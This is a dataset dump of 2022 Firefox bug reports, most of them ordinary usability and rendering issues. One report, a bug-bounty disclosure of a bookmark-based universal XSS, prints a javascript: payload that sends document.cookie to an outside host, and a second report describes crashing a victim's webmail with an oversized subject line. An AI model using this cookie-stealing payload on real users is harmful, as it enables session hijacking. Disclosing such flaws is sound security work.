av9ash/GitBugs huggingface dataset:
Bug: Firefox provides the option to install search engines as open search even if they're already installed
Status: NEW
Priority: P5
Created: 2022-03-04 15:50:49+00:00
Resolved: 2024-02-27 18:09:22+00:00

**Affected versions**
* Fx99.0a1
* Fx97.0.1

**Affected platforms**
* Windows 10
* macOS
* Ubuntu 20.04

**Preconditions**
Have a zh-CN build downloaded.
Have a user.js in the profile root folder containing the following:
``` user_pref("browser.search.region", "CN"); ```

**Steps to reproduce**
1. Launch Firefox with the profile containing the user.js.
2. Go to about:preferences#search and add the search bar. (optional)
3. Using the address bar, perform a search.
4. Observe the search bar magnifying glass icon.
5. Open the address bar drop-down and inspect the one-offs section.

**Expected result**
* The shouldn't be any indication to add an open search engine, as the default baidu engine is already installed in Firefox.

**Actual result**
* There is a button to install the open search engine.

**Regression range**
* This doesn't seem to be a recent regression as we could reproduce the issue with an Fx93 build.

**Additional notes**
* If the engine is added and then clicked in the search bar drop-down it will take the user to www.baidu.com
* This seems to be happening regardless of used locale build and with amazon as well, but under a bit different steps:
1. Open the searchbar dropdown.
2. Click the amazon one-off from the dropdown
3. After the website is loaded inspect the  searchbar magnifying glass icon.

* See the screenshots for more details.
Bug: pdf viewer fails to render fonts correctly
Status: RESOLVED
Priority: P3
Resolution: WORKSFORME
Created: 2022-03-04 17:58:00+00:00
Resolved: 2023-05-20 17:49:17+00:00

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0

Steps to reproduce:

Visit https://www.cadc.uscourts.gov/internet/opinions.nsf/F6289C9DDB487716852587FB00546E14/$file/21-5200-1937710.pdf and see it in the built in viewer.


Actual results:

The fonts look terrible. I have reproduced in nightly.


Expected results:

The fonts should have looked much nicer. I have opened the file in Preview to confirm that it should have looked nice.
Bug: I cannot input "Chinese character" into web_address column for searching purpose.
Status: NEW
Priority: P3
Created: 2022-03-05 04:00:56+00:00
Resolved: 2022-11-03 10:30:04+00:00

User Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0

Steps to reproduce:

新網頁開啓後,直接在網址欄輸入"中文"搜尋字串,有時中文會變為亂碼


Actual results:

無法在網址欄輸入"中文"搜尋字串,但可以拷貝置入. 或者使用FFOX網頁中央的欄位輸入中文


Expected results:

印象中舊版本FFOX並無此限制
Bug: Youtube dark mode not working
Status: RESOLVED
Priority: --
Resolution: INCOMPLETE
Created: 2022-03-05 05:09:51+00:00
Resolved: 2022-09-15 09:42:35+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0

Steps to reproduce:

I updated to the latest version of Firefox today. Now Youtube dark mode will not stay enabled. If I navigate to a different video it changes back to device theme.
Was working perfectly fine before the update. Still working normal in Google Chrome.


Actual results:

I updated to the latest version of Firefox today. Now Youtube dark mode will not stay enabled. If I navigate to a different video it changes back to device theme.
Was working perfectly fine before the update. Still working normal in Google Chrome.


Expected results:

It shouldn't turn itself off...
Bug: Corrupted File Downloads Through Firefox Browser Often Occurs
Status: RESOLVED
Priority: --
Resolution: INCOMPLETE
Created: 2022-03-05 09:50:49+00:00
Resolved: 2022-03-07 15:16:00+00:00

Steps to reproduce:

Downloaded files via file hosting sites or via cloud storage through Firefox browser. Very often, files come out corrupted upon competition of download.


Actual results:

Nowadays, I download the same file multiple times to compare their checksums to see if I get 2-3 identical matches to be more certain that it turned out fine. This is an extremely tedious and troublesome task, and a waste of bandwidth and time, especially when some files like video footage shot from a high-end camera for film production can be extremely large (25-100 GB per file) and it needs to be shared and downloaded multiple times by a number of group members that are working on the film project to compare checksums to see if they match. In our case, we provide the checksums for the files before uploading to the cloud, so our members can check against it after they've downloaded the file to ensure none of the frames in the footage are corrupted.

However, in most cases, the problem arises when Firefox users download something online that often doesn't have checksum they can check against. Even if they downloaded the same file two times with their checksums matching, it doesn't 100% guarantee that they aren't corrupted, since the same piece in each of the two files could be corrupted at the same spot, although very unlikely but still a possibility. Everyone in our group has very stable internet connections via ethernet cable, and not WiFi.


Expected results:

Downloaded files should not come out as corrupted. More checks should be in place during the download process to prevent such a thing.
Bug: handoff copy paste does not work
Status: RESOLVED
Priority: P5
Resolution: INCOMPLETE
Created: 2022-03-05 11:08:11+00:00
Resolved: 2022-10-07 14:45:28+00:00

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0

Steps to reproduce:

copy url from iOS (anywhere)
try to paste from macos
paste in firefox search bar



Actual results:

nothing
but pasting somewhere else works


Expected results:

url pasted
Bug: Clicking settings entrypoint in hamburger / main menubar does not do anything (doesn't open preferences, but works in private browsing mode) because tab without valid 'url' session restore value is present
Status: RESOLVED
Priority: --
Resolution: FIXED
Created: 2022-03-05 13:06:22+00:00
Resolved: 2022-04-12 16:00:01+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0

Steps to reproduce:

I don't know why but I can't open settings.
it's both from top menu and 3 line menu.


Windows 11 PRO  22557.ni_release.220210-1445


Actual results:

I click on settings, but nothing happens.


Expected results:

settings should open.
Bug: Intermittent [tier 2] Assertion failure: false (This method is not implemented on the current platform), at /builds/worker/checkouts/gecko/widget/nsBaseWidget.h:576
Status: RESOLVED
Priority: P5
Resolution: INCOMPLETE
Created: 2022-03-06 05:24:46+00:00
Resolved: 2023-01-10 17:01:36+00:00

**Filed by:** cpeterson [at] mozilla.com
**Parsed log:** https://treeherder.mozilla.org/logviewer?job_id=370112732&repo=try
**Full log:** https://firefox-ci-tc.services.mozilla.com/api/queue/v1/task/f0DLpH7DRMyqAqfUKU7tbA/runs/0/artifacts/public/logs/live_backing.log

---
```
https://searchfox.org/mozilla-central/rev/c7ca51f564b36ed584755dc60eb541d2ed6218a5/widget/nsBaseWidget.h#575-576

M-headless-fis [tier 2] (1 3)

SynthesizeNativeTouchpadPan

MOZ_RELEASE_ASSERT(false, "This method is not implemented on the current platform");
```
Bug: UXSS  Bookmark Cookie Stealing
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2022-03-06 06:55:47+00:00
Resolved: 2022-03-06 14:36:30+00:00

Author: Omar Salazar (a.k.a Taurs Omar)
Twitter: taurusomar_

## Bug Bounty Hunter

## Description:
The vulnerability allows a malicious payload to be added to the URL section of the bookmark that is executed anywhere in the browser by bypassing restrictions on Firefox script execution.

## Vulnerability Class:
Universal Cross-Site Scripting  

## Severity Level
High

## Exploitation Technique:
Local/Remote


## Type:
The vulnerability in question is a UXSS, an attacker can add a malicious payload to the bookmark to steal session cookies from any site or redirect you to a fake phishing page.


# Attack Vectors:
1.) This would affect if the user bookmarked a contaminated page.
2.) A malicious person takes the device and adds the malicious marker.
3.) Internet cafe with malicious bookmarks, stealing session cookies from customers.
4.) Malicious technical service, adding the marker with the payload.


## Payload UXSS
javascript:alert("UXSS")

## UXSS Cookie Stealing
javascript:document.location='https://cors.ur0.me/?c='+escape(document.cookie);

## Attached 2 videos of attacks
uxss.mp4
cookieStealing.pm4

## Attached 1 images of attacks
Bug: Download panel context menu acts on the first item in the list instead of the one clicked on
Status: VERIFIED
Priority: P1
Resolution: FIXED
Created: 2022-03-06 18:24:33+00:00
Resolved: 2022-04-04 12:25:12+00:00

User Agent: Mozilla/5.0 (X11; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0

Steps to reproduce:

I downloaded a few files and later I tried to remove the last one displayed in the downloads panel.


Actual results:

Even though I selected the last one and clicked "Remove From History", the first one listed was removed.


Expected results:

The entry I selected should get removed.
Bug: Lazy tabs prematurely inserted when dragged into another existing window
Status: RESOLVED
Priority: --
Resolution: FIXED
Created: 2022-03-06 19:25:42+00:00
Resolved: 2022-03-10 17:26:36+00:00

1. Have a window with 2 tabs. Select the 2nd one.
2. Add some lazy tabs: in the browser console, run
    ```js
    for (let i=0;i<5;++i) gBrowser.addTab("http://example.com", {
      createLazyBrowser: true,
      triggeringPrincipal: Services.scriptSecurityManager.getSystemPrincipal(),
      allowInheritPrincipal: true
    })
    ```
3. Press shift and click the last tab. This will highlight the lazy tabs without loading them. Confirm this by running

    ```js
    gBrowser.tabs.map(t => t.multiselected);
    // Expected: Array(7) [ false, true, true, true, true, true, true ]
    ```
    ```js
    gBrowser.tabs.map(t => !t.linkedPanel);
    // Expected: Array(7) [ false, false, true, true, true, true, true ]
    ```

4. Open a new window. Place both windows side by side.
5. In the old window, mousedown the 2nd tab, and drag into the end of the tabbar of the new window.
6. The 6 tabs are moved there. Close the browser console, open it in the new window, and check if the tabs are still lazy:

    ```js
    gBrowser.tabs.map(t => !t.linkedPanel);
    // Expected: Array(7) [ false, false, true, true, true, true, true ]
    // Actual: Array(7) [ false, false, false, false, false, false, false ]
    ```

Note it works well when moving them into a new window, either by dragging into a void, or by using the context menu (bug 1521346).

The reason is in https://searchfox.org/mozilla-central/rev/3fcd1f17bef87c20a439f479fc5c0f6a29f57fc4/browser/base/content/tabbrowser-tabs.js#756
The tabs are moved one by one by order. If the 1st tab that moves was the selected one in the old window, then another one will need to become selected, and the following one is picked. If it was lazy, it will load. The code doesn't take into account that the next tab may also be moved immediately after, so it will keep selecting them one by one.

The solution is that the selected tab should move last, like in `replaceTabsWithWindow`.
Bug: Crash and/or high memory on webmail site with very large message
Status: RESOLVED
Priority: --
Resolution: INCOMPLETE
Created: 2022-03-06 23:29:26+00:00
Resolved: 2022-05-17 21:11:48+00:00

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Firefox for Android

Steps to reproduce:

Greetings!

I'm an amateur bug bounty hunter and a while back I found a bug on a site that allowed me to email a long string subject line to someone in order to bog down their inbox. When I tried a longer payload it caused firefox to crash repeatedly when visiting the site.


Actual results:

The long string caused firefox to crash repeatedly when visiting the site initially. Now it seems to cause a spike in CPU usage followed by a crash if it is caching the webpage for the first time.


Expected results:

I've attached the original proof of concept video from the original report to the site. I've checked the inbox on the site today and it still causes a crash when trying to cache the page for the first time. This behaviour only seems to be present on firefox, and may be worth looking into in order to avoid future exploitation. It worked on multiple windows devices as well as my android.
Bug: Moving lazy chrome tabs into a new window fails and UI kinda broken
Status: NEW
Priority: P3
Created: 2022-03-07 01:13:36+00:00
Resolved: 2022-04-13 14:00:24+00:00

1. Open a window with two tabs, `http://example.com/1` and `http://example.com/2`
2. Add a lazy tab without a content process, e.g.

    ```js
    gBrowser.addTab("about:preferences", {
      createLazyBrowser: true,
      triggeringPrincipal: Services.scriptSecurityManager.getSystemPrincipal(),
      allowInheritPrincipal: true
    })
    ```
    Note that using the browser console is not really needed, you can get into this state by restarting the browser and restoring the old session. Normal users will probably encounter this problem that way.
3. Click `http://example.com/2` so that it's selected, then press Ctrl and click the `about:preferences` tab to multiselect it.
4. Right-click the 2nd or 3rd tab, choose `Move Tabs`, `Move to New Window`.

**Expected**: `http://example.com/2` and `about:preferences` move to a new window, `http://example.com/1` remains in old window.

**Actual**:
 - The new window only has `http://example.com/2`.
 - The old window has a single tab in the tabbar,  `http://example.com/1`, but it's not selected. And you can actually see `about:preferences` in the old window.
 - Running `gBrowser.tabs` you can see that the old window actually has two tabs, but the 2nd one is not visible. `gBrowser.tabs[1].hidden` is still false, though.
 - You can even close `http://example.com/1` and then the tabbar seems completely empty, but you see `about:preferences`.

The reason is that `adoptTab` aborts because `swapBrowsersAndCloseOther` returns false, but the callers don't expect that.

`swapBrowsersAndCloseOther` returns false because `isRemoteBrowser` don't match:

```js
var tab1 = gBrowser.addTab("about:preferences", {
  createLazyBrowser: true,
  triggeringPrincipal: Services.scriptSecurityManager.getSystemPrincipal(),
  allowInheritPrincipal: true
});
var tab2 = gBrowser.addTab("about:blank", {
  preferredRemoteType: null,
  createLazyBrowser: true,
  triggeringPrincipal: Services.scriptSecurityManager.getSystemPrincipal(),
  allowInheritPrincipal: true,
});
tab1.linkedBrowser.isRemoteBrowser; // true
tab1.linkedBrowser.remoteType; // null
tab2.linkedBrowser.isRemoteBrowser; // false
tab2.linkedBrowser.remoteType; // "web"
```

So I think there are 2 bugs here:
 - The `isRemoteBrowser` and `remoteType` should probably match.
 - Callers of `adoptTab` should take into account that it may fail. In particular, `replaceTabsWithWindow` should not remove the `fadein` attribute if the tab will not be adopted by the new window https://searchfox.org/mozilla-central/rev/3fcd1f17bef87c20a439f479fc5c0f6a29f57fc4/browser/base/content/tabbrowser.js#4769-4770
Bug: PushBroadcastService, PushServiceWebSocket
Status: RESOLVED
Priority: --
Resolution: FIXED
Created: 2022-03-07 01:38:42+00:00
Resolved: 2022-03-30 16:06:45+00:00

Steps to reproduce:

1. Go to https://apps.irs.gov/app/freeFile.
2. Click on the "Browse All" or "Start Lookup Tool" button.


Actual results:

Error on screen: "Application error: a client-side exception has occurred (see the browser console for more information)."

Error: "Application error: a client-side exception has occurred (see the browser console for more information)." occurred after clicking on the "Browse All Providers" & "IRS Free File Online Lookup Tool" buttons.

Errors in console:
"BroadcastService: receivedBroadcastMessage: handler for remote-settings/monitor_changes threw error: Error: Polling for changes failed: NetworkError: Network request failed.
    pollChanges resource://services-settings/remote-settings.js:254
PushBroadcastService.jsm:264
PushServiceWebSocket: _beginWSSetup: Not in shutdown state! Current state 3 PushServiceWebSocket.jsm:511"


Expected results:

It should have taken me to ("Browse All" button) "https://apps.irs.gov/app/freeFile/browse-all-offers/" or ("Start Lookup Tool" button) "https://apps.irs.gov/app/freeFile/general/".

These pages work fine in EDGE (Version 99.0.1150.30 (Official build) (64-bit)).

Firefox version this fails in: 97.0.1 (64-Bit).
Bug: RTAMO onboarding page does not fetch the extension/theme name on Nightly
Status: VERIFIED
Priority: P1
Resolution: FIXED
Created: 2022-03-07 10:59:00+00:00
Resolved: 2022-03-11 07:30:43+00:00

Affected versions:
- Nightly (99.0a1/20220306190604)

[Steps to reproduce]:
1. Access AMO Prod on a browser different from Firefox (example: Microsoft Edge) and afterwards the page of a recommended extension/theme.
2. Click on the “Download Firefox and get the extension/theme” blue button
3. A new page opens in the same tab and Firefox Release is automatically downloaded
4. Install the previously downloaded Firefox Release.
Note: After installation is complete, the browser will be automatically launched.
5. Close the browser.
6. Download and install the latest Nightly.
7. Launch Nightly and access about:welcome.
8. Observe that the RTAMO page loads, however the served add-on has it’s name replaced by a placeholder “{$addon-name}”.

[Expected results]:
The RTAMO about:welcome page should properly fetch the extension/theme name.

[Actual results]:
The RTAMO about:welcome page does not fetch the add-on name, instead it displays a placeholder - “{$addon-name}”.

For further details, see the attached screenshots.

NOTE:
I’ve also checked the latest Beta using the same STR as above and it’s not affected – the extension/theme names are properly fetched and displayed.
Bug: URL gets automatically extended and page fails to load
Status: UNCONFIRMED
Priority: P3
Created: 2022-03-07 12:30:59+00:00
Resolved: 2024-08-04 03:31:08+00:00

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0

Steps to reproduce:

I often need to access network equipment web interfaces through ssh tunnels, that route port 80 of the devices to a local port on my machine, in this case localhost:5501. I tend to use the same tunnel/port with various devices and very often what happens is that a previous device's URL bits get added to the URL of the new device. 


Actual results:

I type "localhost:5501" ino the address bar, upon hitting enter, the URL is extended to "localhost:5501/v3/" which was valid for a previous device, but not the currently connected one. The page fails to load with a "403 Forbidden" or "404 Unavailable" error (because the URL is not valid on the device)


Expected results:

When I type "localhost:5501" I expect the browser to open "localhost:5501", instead of appending a previously valid URL to it and then fail to load. This is not the case with Chrome, but since I'm a long time user of Firefox, I'd like it to work as expected. I tried deleting history for localhost visits, removed cookies, turned off the "keyword.enabled" and "browser.fixup.alternate.enabled" options, but they didn't help.
Bug: Firefox or youtube will not remember theme choice.
Status: RESOLVED
Priority: --
Resolution: INVALID
Created: 2022-03-07 21:23:14+00:00
Resolved: 2022-03-16 15:05:05+00:00

User Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0

Steps to reproduce:

It used to be working! and out of nohwere stopped working. 
If I open youtube it will get back to light theme! although my choice was always a dark theme and firefox/youtube will remember this. The same happens when I open a new tab even if the original tab is dark theme the new tab will come as a light theme. no matter how many times I chose the dark theme. 
My OS theme is dark 


Actual results:

open a new youtube tab. or new browser window the theme will always be light.



Expected results:

the new tabs of windows of youtube should be dark like it always was. when I chose my settings in youtube to be dark theme.
Bug: First Pinned tab/website never loads and does not have all any website controls
Status: RESOLVED
Priority: --
Resolution: INCOMPLETE
Created: 2022-03-08 00:15:38+00:00
Resolved: 2022-04-27 19:55:50+00:00

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0

Steps to reproduce:

1. Pin multiple websites
2. Close/Quit the firefox after usage
3. Shutdown the computer (Unsure if this is needed but just in case)


Actual results:

Upon starting Firefox on the next computer restart. The first pinned website is never loads when focused. also, website controls e.g. Favicon, reload, URL, Back, and Forward are not available

The website is completely blank (see attached snapshot)


Expected results:

The website should have been loaded as normal when it has a focus
Bug: download window pops up on every single finished download
Status: RESOLVED
Priority: --
Resolution: DUPLICATE
Created: 2022-03-08 09:26:30+00:00
Resolved: 2022-03-10 14:23:29+00:00

User Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0

Steps to reproduce:

Name        : firefox
Version     : 98.0
Release     : 2.fc34
Architecture: x86_64

I need to download a lot of pdf files from a site.


Actual results:

for every single finished pdf download, the download overlay pops up, but does not close automatically, it sticks. So i need to close this overlay for every download or need to wait until all are finished ( 20+ ), but in this time, the windows covers parts of the webpage, which is annoying. 

I consider this a regression, as it happend since the update from 97 to 98.0-2


Expected results:

the download overlay should only become visible when the download icon is pressed.
Bug: SVG files from Slack get opened with the wrong app (binary/octet-stream is not handled like the application/ version of it)
Status: NEW
Priority: P3
Created: 2022-03-08 13:08:15+00:00
Resolved: 2022-10-18 10:36:05+00:00

When downloading a SVG file from Slack, the server sends `binary/octet-stream` as the Content-Type.

- Opening the saved file via the downloads panel then opens the file in a text editor (as here that's the application for `binary/octet-stream` files).

- Opening the saved file via GNOME's file manager opens the file in Firefox (as here that's the application for `image/svg+xml` files).

I would prefer Firefox to treat the file as SVG, not binary, like the file manager does.

(Before the changes for bug 1753004 this behavior wasn't noticeable, as Firefox auto-opened the file using itself by default.)

Firefox Nightly,
Arch Linux